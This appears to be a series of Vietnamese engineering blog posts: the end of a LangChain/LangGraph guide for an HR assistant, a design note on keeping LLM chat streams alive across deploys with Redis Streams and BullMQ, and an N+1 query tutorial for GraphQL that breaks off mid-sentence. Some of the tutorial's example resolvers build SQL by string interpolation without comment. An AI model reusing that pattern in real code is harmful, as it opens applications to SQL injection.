HR phản ánh AI chọn ứng viên sai → mở trace xem lỗi ở tool, prompt, RAG hay model.

16. Đặt LangChain / LangGraph giữa rừng framework

Ngoài bộ ba này còn nhiều framework khác. Mỗi framework có triết lý riêng.

La bàn chọn nhanh:

• Nặng về workflow có kiểm soát → LangGraph.
• Nặng về RAG / data retrieval → LlamaIndex hoặc LangChain retriever.
• Nặng về multi-agent hội thoại → AutoGen.
• Muốn diễn đạt theo vai trò trong team → CrewAI.
• Muốn tối ưu prompt tự động → DSPy.

Ghi chú: phần này chỉ nên xem như bản đồ định hướng. Khi chọn công nghệ cho production, vẫn nên kiểm tra tài liệu chính thức và thử prototype nhỏ.

PHẦN IV — DEEP DIVE NGẮN CHO DEVELOPER

Phần này dành cho người muốn hiểu sâu hơn. Nếu bạn chỉ cần build prototype, có thể đọc lướt.

17. ReAct: vòng lặp vừa nghĩ vừa làm

ReAct là một ý tưởng nền tảng của nhiều agent hiện đại.

Thay vì để model trả lời một lần, agent chạy theo vòng:

Reason → Act → Observe → Reason again

Trong HR Copilot:

Reason: Cần tìm ứng viên có Go, AWS, MySQL.
Act: gọi search_candidates().
Observe: có 12 ứng viên.
Reason: cần loại người thiếu tiếng Nhật N2.
Act: gọi filter_candidates().
Observe: còn 3 ứng viên.
Reason: chấm điểm và chọn người tốt nhất.

LangChain giúp implement tool calling. LangGraph giúp biến vòng lặp này thành workflow có kiểm soát.

18. Reflexion: agent biết rút kinh nghiệm

Reflexion là ý tưởng agent có thể tự ghi lại bài học sau mỗi lần chạy.

Ví dụ sau một lần chọn sai ứng viên, agent có thể lưu note:

Lần sau không nên chỉ dựa vào keyword AWS trong CV.
Cần kiểm tra xem ứng viên có kinh nghiệm production thật hay chỉ liệt kê skill.

Trong thực tế, phần “trí nhớ” này có thể được hiện thực bằng state, memory, checkpoint hoặc storage riêng.

LangGraph không tự biến agent thành “biết học” theo nghĩa huấn luyện lại model. Nhưng nó cung cấp hạ tầng state/checkpoint để lưu và dùng lại thông tin giữa các lượt chạy.

19. LangChain Runnable và LCEL

Nếu đi sâu vào LangChain, khái niệm quan trọng là Runnable.

Hiểu đơn giản, Runnable là giao diện chung cho các mảnh ghép có thể chạy được:

• prompt,
• model,
• parser,
• retriever,
• tool,
• function tự viết.

Các runnable thường có những cách gọi giống nhau:

LCEL cho phép nối runnable bằng dấu |:

chain = prompt | model | output_parser

Nói dễ hiểu: LangChain cố gắng làm cho các mảnh ghép AI có chung một “đầu nối”, để việc ghép pipeline gọn như xếp Lego.

20. LangGraph, Pregel và super-step

LangGraph lấy cảm hứng từ mô hình xử lý graph như Pregel / BSP.

Hình dung đơn giản, graph chạy theo từng “đợt”:

1. Xem node nào cần chạy
2. Chạy các node đó
3. Gộp kết quả vào state
4. Chuyển sang đợt tiếp theo

Cách chạy này giúp workflow có tính rõ ràng:

• node nào chạy,
• state được cập nhật lúc nào,
• checkpoint lưu ở đâu,
• khi resume thì quay lại mốc nào.

Với production, cần lưu ý: durable execution phụ thuộc vào checkpointer và cách triển khai hạ tầng. Prototype có thể dùng MemorySaver, nhưng production nên dùng storage bền hơn như SQLite/Postgres checkpointer.

21. LangSmith và OpenTelemetry

LangSmith có thể nhận trace từ nhiều app/framework khác nhau. Một lý do là nó hỗ trợ hướng tiếp cận observability dựa trên chuẩn như OpenTelemetry.

Ý nghĩa thực tế:

Bạn không bị bắt buộc phải viết app bằng LangChain mới dùng được LangSmith.

Nếu team đã có Datadog, Grafana hoặc hệ thống observability riêng, LangSmith có thể là lớp chuyên biệt cho AI trace/eval, còn hệ thống hiện tại tiếp tục dùng cho infra/app metrics.

PHẦN V — LỖI THƯỜNG GẶP VÀ KẾT LUẬN

22. Năm lỗi thường gặp khi build HR AI tool

Lỗi 1: Cho LLM quyết định quá nhiều

Không nên để LLM tự reject ứng viên hoặc tự gửi email.

Nên làm:

AI đề xuất → HR duyệt → hệ thống hành động

Lỗi 2: Không dùng structured output

Text tự do dễ đọc nhưng khó xử lý bằng backend.

Nên dùng JSON/schema cho những kết quả quan trọng:

{
  "match_score": 82,
  "recommendation": "move_to_interview",
  "risks": ["Thiếu leadership experience"]
}

Lỗi 3: Không có trace

Khi AI sai, không có trace thì gần như chỉ đoán mò.

Nên bật LangSmith sớm, kể cả ở prototype.

Lỗi 4: Không có evaluation dataset

Đừng đánh giá AI bằng cảm giác. Hãy tạo dataset gồm các case:

• CV phù hợp,
• CV không phù hợp,
• thiếu thông tin,
• yêu cầu gửi email,
• yêu cầu cần approval,
• policy-sensitive.

Lỗi 5: Không kiểm soát quyền tool

Tool càng nguy hiểm càng cần kiểm soát.

search_candidates       → có thể cho phép
get_candidate_cv        → log access
send_email              → cần approval
update_pipeline_status  → cần approval / permission
send_offer_letter       → bắt buộc human approval

23. Kết luận

Nếu chỉ nhớ một đoạn, hãy nhớ đoạn này:

LangChain giúp AI có khả năng.
LangGraph giúp AI làm việc theo quy trình.
LangSmith giúp team tin được, debug được và cải thiện được AI.

Với bài toán HR:

• Chỉ tóm tắt CV → LangChain là đủ.
• Cần tìm ứng viên, chấm điểm, soạn email, chờ duyệt → thêm LangGraph.
• Muốn biết vì sao agent sai, đo chất lượng, theo dõi cost/latency → dùng LangSmith.

Công thức thực dụng:

Prototype nhanh:
  LangChain + LangSmith

Workflow có approval:
  LangChain + LangGraph + LangSmith

Production agent:
  LangChain components
  + LangGraph orchestration
  + LangSmith observability/evaluation

Điểm quan trọng nhất: AI không nên thay HR hoàn toàn.

AI nên đóng vai HR Copilot:

• làm nhanh phần lặp lại,
• tổng hợp thông tin,
• đề xuất ứng viên,
• soạn nháp email,
• giải thích lý do,
• còn con người vẫn giữ quyền quyết định ở các bước quan trọng.

Một agent tốt không phải là agent “tự làm tất cả”. Một agent tốt là agent làm đúng phần nên tự động hóa, biết dừng đúng lúc, và để con người kiểm soát những quyết định quan trọng.

Phụ lục A — Cheat sheet thuật ngữ

Phụ lục B — Nguồn tham khảo

Tài liệu chính thức

• LangChain GitHub: https://github.com/langchain-ai/langchain
• LangGraph Overview: https://docs.langchain.com/oss/python/langgraph/overview
• LangSmith Overview: https://docs.langchain.com/langsmith/home
• LangGraph Graph API: https://docs.langchain.com/oss/python/langgraph/graph-api
• LangGraph Persistence: https://docs.langchain.com/oss/python/langgraph/persistence
• LangGraph Subgraphs: https://docs.langchain.com/oss/python/langgraph/use-subgraphs
• LangSmith Observability: https://docs.langchain.com/langsmith/observability
• LangSmith Evaluation: https://docs.langchain.com/langsmith/evaluation

Nền tảng lý thuyết

• Yao et al. (2022), ReAct: Synergizing Reasoning and Acting in Language Models: https://arxiv.org/abs/2210.03629
• Shinn et al. (2023), Reflexion: Language Agents with Verbal Reinforcement Learning: https://arxiv.org/abs/2303.11366
• Xi, Chen et al. (2023), The Rise and Potential of LLM-Based Agents: A Survey: https://arxiv.org/abs/2309.07864

Kiến trúc & thiết kế

• LangChain Core — Runnable API: https://python.langchain.com/api_reference/core/runnables/langchain_core.runnables.base.Runnable.html
• LangChain — LCEL: https://python.langchain.com/docs/concepts/lcel/
• LangGraph GitHub: https://github.com/langchain-ai/langgraph
• LangGraph Pregel runtime: https://docs.langchain.com/oss/python/langgraph/pregel
• LangGraph Durable Execution: https://docs.langchain.com/oss/python/langgraph/durable-execution
• LangSmith OpenTelemetry: https://blog.langchain.com/opentelemetry-langsmith/
• LangSmith trace with OpenTelemetry: https://docs.langchain.com/langsmith/trace-with-opentelemetry

So sánh framework

• LangChain — AI Agent Frameworks: https://www.langchain.com/resources/ai-agent-frameworks
• Các bài so sánh framework từ cộng đồng như dev.to, theflyingbirds.in, aryaxai.com. Phần này chỉ nên dùng để tham khảo định hướng, không thay thế việc đọc tài liệu chính thức.

Lưu ý: Bài viết này không có mã nguồn minh họa. Giải pháp được đề cập vẫn đang trong quá trình review nội bộ nên mình chưa thể chia sẻ phần triển khai cụ thể. Đây là bản tóm tắt những gì mình tìm hiểu được trong tuần qua: hệ thống hiện tại hoạt động như thế nào, tại sao nó gặp lỗi, và một giải pháp phù hợp có thể trông ra sao.

Mình đang làm việc trên một ứng dụng chat AI sử dụng Next.js ở frontend, NestJS ở backend và GraphQL để giao tiếp giữa hai bên. Người dùng gửi câu hỏi tới các mô hình ngôn ngữ lớn (LLM) và quan sát câu trả lời được stream từng token theo thời gian thực.

Dưới đây là phần TL;DR:

Mỗi lần deploy phiên bản mới, tất cả các cuộc trò chuyện đang được tạo nội dung đều bị dừng giữa chừng.

Trạng thái stream hiện đang được lưu trong bộ nhớ (memory) của API server, và lời gọi tới LLM cũng chạy ngay trong process đó. Khi deploy, process bị khởi động lại, khiến toàn bộ state bị mất và lời gọi LLM bị hủy giữa chừng. Trình duyệt của người dùng tiếp tục chờ dữ liệu nhưng không nhận được gì, và phần nội dung đã được tạo ra trước đó cũng biến mất hoàn toàn.

Giải pháp là không lưu bất kỳ trạng thái quan trọng nào trong API server nữa.

Chuyển luồng token sang Redis Streams, chuyển việc gọi LLM sang một worker độc lập sử dụng BullMQ, đồng thời cho phép trình duyệt tự động reconnect và tiếp tục từ vị trí đã nhận cuối cùng. Sau khi thực hiện điều này, việc deploy trở nên "vô hình" với người dùng: quá trình sinh nội dung vẫn tiếp tục chạy và trình duyệt chỉ việc bắt kịp những gì đã bỏ lỡ.

Phần còn lại của bài viết sẽ giải thích chi tiết quá trình đi tới kết luận đó.

Cách hệ thống stream chat hiện tại hoạt động

Hệ thống hiện tại được thiết kế để xử lý hai tình huống:

Kịch bản A

Người dùng gửi tin nhắn và ngồi xem phản hồi được stream theo thời gian thực.

Kịch bản B

Người dùng refresh trang hoặc mở tab mới trong khi quá trình sinh nội dung vẫn đang diễn ra, và hệ thống cần gửi lại phần nội dung đã tạo trước đó.

Luồng xử lý chính (kịch bản A) như sau:

Trình duyệt                     API Server
   │                                │
   │  1. issueToken                 │
   │ ──────────────────────────────►│
   │ ◄──────────────────────────────│
   │                                │
   │  2. prepareBackground          │
   │ ──────────────────────────────►│
   │ ◄────────── historyId ─────────│
   │                                │
   │  3. startBackground            │
   │ ──────────────────────────────►│
   │ ◄────────── historyId ─────────│
   │                                │
   │  4. subscribe(continueStream)  │
   │ ──────────────────────────────►│
   │ ◄═══════ tokens stream   ══════│

Một số điểm quan trọng:

1. issueToken

Chỉ dùng để xác thực cuộc hội thoại. Chưa có dữ liệu nào được lưu.

2. prepareBackground

Tạo một bản ghi SessionHistory rỗng trong database và khởi tạo một đối tượng stateToken trong bộ nhớ.

stateToken là nhân vật chính của câu chuyện này:

• Lưu toàn bộ lịch sử hội thoại hiện tại
• Lưu các token đã stream
• Có TTL 15 phút
• Chỉ tồn tại trong RAM của API server

3. startBackground

Không chờ LLM trả kết quả.

Thay vào đó:

• Xác thực token
• Lấy distributed lock theo historyId:model
• Gọi xử lý AI trong background thông qua setImmediate()
• Trả về historyId ngay lập tức

4. continueStream

Đây là GraphQL Subscription.

Khi client kết nối:

1. Server gửi lại toàn bộ token đang được lưu trong stateToken
2. Sau đó stream các token mới nhận được qua Redis Pub/Sub

Nhờ cơ chế này, client có thể kết nối lại bất kỳ lúc nào mà không bị mất nội dung đã tạo trước đó.

Refresh giữa chừng hoạt động như thế nào?

Khi người dùng refresh trang:

1. Client gọi checkActiveStreams

2. Nếu stateToken vẫn còn trong memory:

   • Server trả về danh sách model đang chạy
   • Trả về phần nội dung đã được tạo

3. Client subscribe lại với isReconnecting=true

4. Server replay toàn bộ token trong stateToken

5. Sau đó tiếp tục stream dữ liệu mới

Thiết kế này khá gọn gàng.

Nhưng toàn bộ cơ chế phụ thuộc vào việc stateToken còn tồn tại trong memory.

Và đó chính là thứ bị xóa khi deploy.

Vấn đề thực sự

Tóm tắt bằng một câu:

stateToken nằm trong bộ nhớ API server, và job gọi LLM cũng chạy trong chính process đó. Khi deploy, cả hai cùng mất.

┌─────────────┐    ┌─────────────────────────────────────────┐    ┌─────────────────────┐
│   Browser   │    │              API Server                 │    │       Redis         │
│             │    │                                         │    │  (separate server)  │
│             │    │  ┌───────────────────────────────────┐  │    │                     │
│             │    │  │          Server Memory            │  │    │  Pub/Sub channel    │
└──────┬──────┘    │  │  · Token history (in-memory)      │  │    │  (broadcast only,   │
       │           │  │  · AI job (calls LLM, gets tokens)│  │    │   no persistence)   │
       │           │  │  · WebSocket connections          │  │    │                     │
       │ 1. Send   │  └───────────────┬───────────────────┘  │    └──────────┬──────────┘
       │──────────►│                  │                      │               │
       │           │   2. Calls LLM, receives tokens,        │               │
       │           │      stores each token in memory        │               │
       │           │                  │                      │               │
       │           │                  │ 3. Publish token ────┼──────────────►│
       │ 4. Token  │◄─────────────────┼──────────────────────┼───────────────│
       │◄──────────│                  │                      │
       │           └─────────────────────────────────────────┘

Hiện tại API server đang đảm nhiệm đồng thời ba vai trò:

1. Lưu trạng thái stream trong memory
2. Gọi LLM và xử lý token
3. Quản lý kết nối WebSocket/GraphQL Subscription

Trình duyệt
   │
   ▼
API Server
 ├─ StateToken (memory)
 ├─ AI Job (LLM call)
 └─ Kết nôi WebSocket
   │
   ▼
 Redis Pub/Sub

Khi deploy:

Deploy mới
   │
   ├─ API server khởi động lại
   │
   ├─ stateToken bị xóa
   ├─ LLM job bị kill
   └─ WebSocket bị ngắt

Kết quả:

• Trình duyệt vẫn chờ dữ liệu
• Không có token nào tới nữa
• Người dùng phải refresh thủ công
• Phần nội dung đã sinh ra bị mất hoàn toàn

Giải pháp đề xuất

Ý tưởng không có gì quá mới.

Theo nguyên lý của 12-Factor App:

• Process nên stateless
• Tiến trình chạy lâu nên được xử lý bởi background worker

Hiện tại API server đang vi phạm cả hai nguyên tắc.

Giải pháp đề xuất gồm:

BullMQ + Redis Streams + State lưu trong Redis + Client Auto-Reconnect

Kiến trúc mới:

┌─────────────┐         ┌─────────────────┐        ┌──────────────────────┐
│   Browser   │         │   API Server    │        │   BullMQ Worker Pod  │
│             │         │  (stateless)    │        │   (independent)      │
└──────┬──────┘         └────────┬────────┘        └──────────┬───────────┘
       │                         │                            │
       │  1. Send chat message   │                            │
       │ ───────────────────────►│                            │
       │                         │  2. Add job to BullMQ      │
       │                         │ ──────────────────────────►│
       │  3. Return historyId    │                            │  4. Call LLM API
       │ ◄───────────────────────│                            │ ──────────►
       │                         │                            │
       │  5. Subscribe to stream │                            │  6. Receive tokens
       │ ───────────────────────►│                            │ ◄──────────
       │                         │                            │
       │                         │              ┌─────────────▼─────────────┐
       │                         │              │           Redis           │
       │                         │              │  Stream: conv:{historyId} │
       │                         │              │  1000-1 "The "            │
       │                         │              │  1000-2 "capital "        │
       │                         │              │  1000-3 "of "  ◄─ Worker  │
       │                         │◄─────────────│         writes here       │
       │◄────────────────────────│              │  API reads from here      │
       │  7. Receive tokens live │              └───────────────────────────┘

Vai trò của từng thành phần

1. BullMQ

BullMQ là job queue dựa trên Redis.

Thay vì API server gọi LLM trực tiếp:

API
  ↓
LLM

ta chuyển thành:

API
  ↓
Queue
  ↓
Worker
  ↓
LLM

Một phép so sánh dễ hiểu:

• API Server = nhân viên phục vụ
• Worker = đầu bếp

Nhân viên chỉ nhận order rồi chuyển xuống bếp.

Nhân viên không phải là người nấu ăn.

Nếu khu vực phục vụ gặp sự cố, nhà bếp vẫn tiếp tục hoạt động.

2. Worker Pod

Worker là process độc lập chuyên:

• gọi LLM
• nhận token
• ghi token vào Redis Stream

Worker không phụ thuộc API Server.

Do đó:

Deploy API
   ↓
Worker vẫn chạy

Nếu triển khai nhiều worker:

• worker A khởi động lại
• worker B vẫn xử lý tiếp

Tăng khả năng chịu lỗi đáng kể.

3. Redis Streams

Redis Stream là một append-only log.
Redis stream thay thế cho Redis pub/sub để đơn giản hoá logic khi stream lại từ đoạn bị đứt giữa chừng.

Mỗi token được ghi thành một bản ghi có ID tăng dần:

1000-1  "The "
1000-2  "capital "
1000-3  "of "
1000-4  "France "
1000-5  "is "
1000-6  "Paris"

Điểm quan trọng:

Redis Stream:

• không thuộc API Server
• không thuộc Worker

Nó tồn tại độc lập.

Vì vậy dữ liệu không bị mất khi một trong hai thành phần kia khởi động lại.

4. Auto-Reconnect và lastId

Trình duyệt lưu ID cuối cùng đã nhận:

lastId = "1000-47"

trong localStorage.

Khi mất kết nối:

1. Trình duyệt tự reconnect
2. Gửi lại lastId
3. Server đọc Redis Stream từ vị trí đó
4. Gửi lại những token bị bỏ lỡ

Cơ chế replay hoạt động ra sao?

Trường hợp bình thường

lastId = 0

1000-1
1000-2
1000-3
...

Browser cập nhật lastId liên tục.

Đóng tab rồi mở lại

Tab đóng tại 1000-3

localStorage:
lastId = 1000-3

Mở lại:

resume from 1000-3

Server gửi tiếp:

1000-4
1000-5
1000-6

Người dùng thấy cuộc hội thoại tiếp tục như chưa từng gián đoạn.

Deploy giữa lúc stream

lastId = 1000-47

API restart

Trong lúc đó:

Worker vẫn chạy

1000-48
1000-49
1000-50
...

được ghi tiếp vào Redis Stream.

Sau khi API mới lên:

Browser reconnect
lastId = 1000-47

Server đọc từ:

1000-48

và gửi tiếp.

Người dùng chỉ thấy khoảng dừng khoảng 1 giây.

Sau khi triển khai, một lần deploy sẽ diễn ra thế nào?

Deploy
   │
   ├─ API server khởi động lại
   │
   ├─ Worker vẫn chạy
   ├─ LLM vẫn chạy
   ├─ Redis Stream vẫn ghi token
   │
   └─ Browser reconnect
         ↓
      gửi lastId
         ↓
      tiếp tục stream

Người dùng chỉ thấy một khoảng dừng rất ngắn thay vì mất toàn bộ cuộc hội thoại.

Khả năng mở rộng

Theo số liệu production:

44,885 thực thi/ngày

Giả sử 80% lưu lượng xảy ra trong 4 giờ cao điểm

44,885 * 0.8 / 4 / 60 ≈150 requests/phút

Thời gian stream trung bình:
1–2 phút

Thì streams đồng thời:
150–300

Các job này chủ yếu là:

IO-bound

vì phần lớn thời gian chỉ đang chờ LLM trả token.

BullMQ đặc biệt phù hợp với loại workload này.

Theo tài liệu của BullMQ:

Concurrency 100–300

trên một worker là hoàn toàn khả thi với các tác vụ IO-heavy.

Ước tính:

Trước khi BullMQ trở thành nút thắt cổ chai, rất có thể giới hạn của nhà cung cấp LLM hoặc chi phí API sẽ xuất hiện trước. Gọi cùng lúc 50k request thì khả năng cao phía LLM sẽ báo lỗi 429 too many request trước.

Chi phí hạ tầng

Gần như không đáng kể.

Kế hoạch triển khai

Bước 1

Chuyển token sang Redis Streams.

• Khắc phục mất dữ liệu khi refresh
• LLM vẫn chạy trong API

Bước 2

Thêm BullMQ Worker.

• Tách LLM khỏi API
• Generation sống sót qua deploy

Bước 3

Thêm Auto-Reconnect + lastId.

• Không cần refresh thủ công
• Trải nghiệm liền mạch

So sánh ba giai đoạn

Kết luận

Điều quan trọng nhất rút ra từ quá trình điều tra không phải là BullMQ hay Redis Streams.

Mà là nhận ra nguyên nhân gốc rễ:

API Server đang gánh quá nhiều trách nhiệm cùng lúc.

Nó vừa:

• phục vụ request
• chạy LLM
• lưu trạng thái stream

Ba chức năng này bị gắn chặt vào cùng một process nên cũng thất bại cùng nhau.

Một lần deploy đáng lẽ chỉ nên ảnh hưởng tới việc phục vụ request, chứ không nên giết chết một tác vụ AI đang chạy.

Dù giải pháp cuối cùng có giống hệt đề xuất này hay không, hướng đi đúng vẫn là:

1. Đưa state ra khỏi process.
2. Tách job runner khỏi API server.
3. Để client tự theo dõi vị trí của mình trong stream.

Mỗi bước đều giúp hệ thống ổn định hơn, và khi kết hợp lại, chúng biến một lỗi khó chịu trong production thành một sự kiện mà người dùng gần như không nhận ra.

Tham khảo

• 12 factor app
• Benchmark BullMQ

Trong rất nhiều hệ thống backend hiện đại, đặc biệt là dùng GraphQL hay các thư viện như Prisma / TypeORM / Sequelize / Hibernate — có một vấn đề gần như mọi team đều từng gặp và xảy ra thường xuyên:

N+1 Query Problem

Điều nguy hiểm là N+1 thường không làm hệ thống chết ngay. Mà nó âm thầm, lặng lẽ làm:

• Tăng latency
• Tăng CPU database
• Ăn connection pool
• Làm API chậm dần theo thời gian

Cho đến khi production traffic tăng đủ lớn. Lúc đó:

• dashboard load tính bằng giây
• graphQL timeout
• RDS CPU 100%
• Redis cũng không cứu nổi
• Càng scaling thì cost tăng mạnh, nhưng vẫn không giải quyết được vấn đề

Và phần nguy hiểm nhất chính là: code nhìn hoàn toàn "đúng", clean, business theo yêu cầu — nhưng lại không thấy được vấn đề ngay lập tức. Team phải chờ đợi âm thầm... đến khi khách hàng phàn nàn "web gì chậm như rùa".

1. Vậy N+1 Query là gì?

Có lẽ vấn đề này mọi develop đều đã biết hoặc đã từng nghe.

N+1 Query xảy ra khi:

• 1 query đầu tiên lấy danh sách dữ liệu chính
• Sau đó phát sinh thêm N query khác để lấy dữ liệu liên quan cho từng item

Ví dụ nếu có 100 users → 1 + 100 = 101 queries.

Ví dụ trong RESTful API

// Backend tự loop:
const users = await getUsers();           // 1 query
for (const user of users) {
  user.posts = await getPostsByUser(user.id); // N queries
}

Khi số lượng users tăng lên, số query tăng theo tuyến tính. Đây chính là N+1 problem.

Ví dụ trong GraphQL

GraphQL dễ gặp N+1 hơn vì cơ chế resolver hoạt động theo từng field.

// Schema
type User {
  id: ID
  name: String
  posts: [Post]
}

// Client query
query {
  users {
    name
    posts {
      title
    }
  }
}

// Resolver
const resolvers = {
  Query: {
    users: () => db.query("SELECT * FROM users"),
  },
  User: {
    posts: (user) => db.query(`SELECT * FROM posts WHERE user_id = ${user.id}`),
  },
};

Nếu có 100 users → 1 + 100 = 101 queries.

Tại sao đây là vấn đề lớn?

Developer thường nghĩ: "Mỗi query chỉ tốn vài ms, có gì đáng lo?"

Sai. Vì database query không miễn phí. Mỗi query đều cần:

• network roundtrip
• parse SQL
• query planning
• locking
• memory allocation
• connection handling

Khi traffic tăng, database bắt đầu nghẹt.

Vấn đề nguy hiểm nhất: Code nhìn rất sạch

Đây là lý do N+1 tồn tại lâu trong production.

const users = await User.findAll();
for (const user of users) {
  const posts = await user.getPosts(); // lazy loading
}

Developer nhìn vào thấy: readable, async/await đẹp, logic đúng.
Nhưng phía dưới là N+1 queries.

Vì sao GraphQL đặc biệt dễ gặp N+1?

Trong REST, backend quyết định response shape, backend chủ động và biết rõ data trả về như thế nào, nhìn thấy toàn bộ response shape trước khi code. Nhưng GraphQL cho phép client tự define query — điều này cực mạnh, nhưng cũng nguy hiểm.

Resolver hoạt động độc lập theo từng field. Mỗi tầng có thể tiếp tục tạo thêm query.

Query Explosion — ví dụ thực tế

Giả sử: 10 users, mỗi user có 5 posts, mỗi post có 10 comments.

query {
  users {          # 10 users
    posts {        # 5 posts/user
      comments {   # 10 comments/post
        author { name }
      }
    }
  }
}

561 queries cho 10 users — và không ai thấy vấn đề cho đến khi production đổ.

Điều khiến N+1 cực kỳ nguy hiểm

Local không thấy vấn đề

Ở local với vài trăm, vài nghìn records, mọi thứ chạy rất nhanh. Và team sẽ nói: "Ổn rồi, release thôi."

QA khó detect

QA test: data đúng không, response đúng không — họ không kiểm tra query count hay latency dưới load. Nếu test thực tế stress load với data lớn thì mới có thể phát hiện vấn đề.

ORM che giấu vấn đề

// TypeORM lazy loading — nhìn như object access bình thường
const user = await User.findOne(id);
const posts = await user.posts; // đây là 1 query

ORM khiến developer mất cảm giác về database. Nhiều developer dần không đọc SQL, không hiểu execution plan, không biết query count. Họ chỉ nhìn thấy object access (user.posts) — nhưng phía dưới có thể là hàng trăm queries.

Database không chết vì 1 query cực lớn

Nó chết vì hàng nghìn query nhỏ.

1 query = 2ms  ✅
1000 queries = 2000ms + overhead ❌

Chưa tính: network overhead, connection acquire, serialization, lock wait, context switching.

2. Giải pháp: Vậy làm sao để giải quyết?

DataLoader là giải pháp nổi tiếng nhất cho GraphQL N+1.

Ý tưởng: thay vì query ngay, gom tất cả IDs lại và query 1 lần duy nhất.

Không dùng DataLoader

// 100 users → 1 query user + 100 queries post
User: {
  posts: (user) => db.query(`SELECT * FROM posts WHERE user_id = ${user.id}`)
}

Dùng DataLoader

const postLoader = new DataLoader(async (userIds) => {
  const posts = await db.query(
    `SELECT * FROM posts WHERE user_id IN (${userIds.join(",")})`
  );
  return userIds.map(id => posts.filter(p => p.user_id === id));
});

// Resolver
User: {
  posts: (user) => postLoader.load(user.id)
}

GraphQL gọi postLoader.load() cho từng user, DataLoader gom lại → chỉ còn 1 query.

DataLoader còn có request-level cache

// Cùng 1 request, user_id = 1 được load 2 lần
postLoader.load(1); // query
postLoader.load(1); // cache hit — không query lại

Nhưng DataLoader cũng không phải hoàn toàn xử lý triệt để N+1 query

Nếu query depth quá lớn:

users → posts → comments → authors → followers → ...
query {
  organizations {
    users {
      posts {
        comments {
          author {
            organizations {
              users {
                posts {
                  id
                }
              }
            }
          }
        }
      }
    }
  }
}

Workload vẫn khổng lồ. DataLoader giảm được N+1 nhưng không giải quyết được bad query design.

DataLoader có thể biến:

SELECT * FROM users WHERE organization_id = ?

thành

SELECT * FROM users WHERE organization_id IN (...)

nhưng nếu query đòi lấy:

• 100 organizations
• mỗi organization 100 users
• mỗi user 100 posts
• mỗi post 100 comments

thì kết quả vẫn là: 100 × 100 × 100 × 100 = 100 triệu records

Một vấn đề khác: Overfetching bằng JOIN

Một số team chống N+1 bằng cách JOIN tất cả:

SELECT u.*, p.*, c.*
FROM users u
LEFT JOIN posts p ON p.user_id = u.id
LEFT JOIN comments c ON c.post_id = p.id

- Query giảm từ nhiều lần xuống một lần, nhưng đổi lại là dữ liệu bị lặp, payload lớn hơn cần thiết, tốn RAM và chậm serialize.

- Ví dụ, một user có 100 posts và mỗi post có 50 comments có thể tạo ra hàng nghìn dòng kết quả chỉ để biểu diễn cùng một user.

N+1 query và JOIN quá nhiều đều không phải lời giải hoàn hảo. Công việc của backend engineer là lựa chọn điểm cân bằng phù hợp giữa số lượng query, lượng dữ liệu trả về và chi phí xử lý của hệ thống tùy từng trường hợp sử dụng.

Các kỹ thuật  thường dùng giúp khắc phục điều này

2.1 Query Complexity Analysis

Tính độ phức tạp của query trước khi execute.

query {
  organizations { 	// 10 record
    users {		  	// x10		
      posts {		// x10
        comments { 	// x10
          author {
            name
          }
        }
      }
    }
  }
}

complexity = 10x10x10x10 = 10000

Nếu vượt ngưỡng:

if (complexity > 5000) {
  throw new Error("Query too complex");
}

2.2 Batch loading

// Thay vì:
for (const id of ids) await fetchUser(id);

// Dùng:
await fetchUsers(ids); // 1 query

2.3 Preloading

Một số relation nên preload trước khi vào resolver:

const users = await User.findAll({ include: [{ model: Post }] });

2.4 Depth limiting

Giới hạn độ sâu của GraphQL query để tránh query explosion:

Max Depth = 5

query {
  user {
    posts {
      comments {
        user {
          id
        }
      }
    }
  }
}

import depthLimit from 'graphql-depth-limit';
const server = new ApolloServer({
  validationRules: [depthLimit(5)]
});

Với Depth = 5 => Query sâu hơn sẽ bị từ chối:

{"errors": [{"message": "Query exceeds maximum depth"}]}

2.5 Query-specific Resolver

Đối với dashboard (hoặc các tác vụ business tương tự), tránh dùng graph traversal chỉ để lấy count hoặc statistics vì sẽ fetch nhiều dữ liệu không cần thiết.

Không nên

query {
  dashboard {
    users {
      id
    }
  }
}

Sau đó FE tự đếm:

business.users.length

Mà nên tạo resolver riêng để query trực tiếp các giá trị aggregate cần thiết.

query {
    dashboard {
      totalUsers
      totalPosts
      latestComments
	}
}

=> Cách này giảm payload, tránh N+1 và tối ưu cho dashboard.

2.6 Persisted queries

Không cho phép client gửi query tùy ý, mà chỉ được gọi những query đã được đăng ký trước trên server.

POST /graphql
{"queryId": "dashboard_v2"}

Server:

dashboard_v2
=> query đã được review
=> complexity đã biết

2.7 Cache

DataLoader chỉ cache trong 1 request.

Thường kết hợp thêm:

• Redis
• CDN
• Response Cache
• Apollo Cache

Thực tế sẽ giải quyết như sau

GraphQL
├─ DataLoader
├─ Depth Limit
├─ Complexity Limit
├─ Pagination
├─ Redis Cache
├─ Custom Dashboard Queries
└─ Persisted Queries

3. Index và Partition có giải quyết được N+1 không?

Liên hệ với bài viết trước đây về index và partition. Liệu nếu tôi đánh index và partition đúng thì chắc có lẽ sẽ giải quyết được phần N+1 query này thôi ?

Nhưng sự thật là Có thể giúp, nhưng không giải quyết được gốc của N+1.

Nhiều team khi thấy query chậm nên:

• Thêm index
• Partition table
• Tăng RDS size
• Thêm Redis
• Scale pod

Trong khi vấn đề thật sự là: quá nhiều queries, mỗi query lại quá chậm.

Index có giúp không?

Có thể giúp, nhưng không giải quyết được gốc của N+1.

• 1 query = 2ms → rất nhanh
• 1000 queries = 2000ms
  → chưa tính overhead, network overhead, connection, serialization, lock wait, context switching

=> Index không giảm roundtrip, Mỗi query vẫn cần:

acquire connection → gửi SQL → DB parse → execution → return data → deserialize → release connection

Trong khi N+1 sẽ khiến làm việc này lặp lại hàng trăm lần.

Đây là thứ nhiều người bỏ qua.Còn Partition có giúp không? Có, nhưng ở layer khác.

Partition có giúp không?

Partition giúp giảm scan size, improve large table performance. Nhưng không giải quyết số lần roundtrip.

Điều này giống như : Bạn ship hàng cho 1000 khách hàng với cùng 1 đích đến.
- Không có N+1 → 1 chuyến xe tải: 1 lần thực hiện cho phép xử lý toàn bộ hàng hóa.
- Có N+1 → 1000 chuyến xe máy.

=> Index/Partition giúp: con đường di chuyển thông thoáng, phân tải nhiều hướng để di chuyển hơn, gọn gàng hơn, nhưng bạn vẫn đang đi 1000 chuyến.

Sai lầm phổ biến của team backend

Khi gặp chậm thì làm rất nhiều cách cao siêu, tốn nhiều thời gian, chi phí hạ tầng:

Trong khi chỉ cần:

Fix N+1 → reduce query count → batch loading → optimize fetch strategy → rồi mới tuning DB

Thứ tự fix đúng:

Fix N+1
→ Reduce query count
→ Batch loading
→ Optimize fetch strategy
→ Rồi mới tuning DB

Rule quan trọng nhất khi viết GraphQL resolver

❌ Đừng hỏi: "Query này có đúng không?"

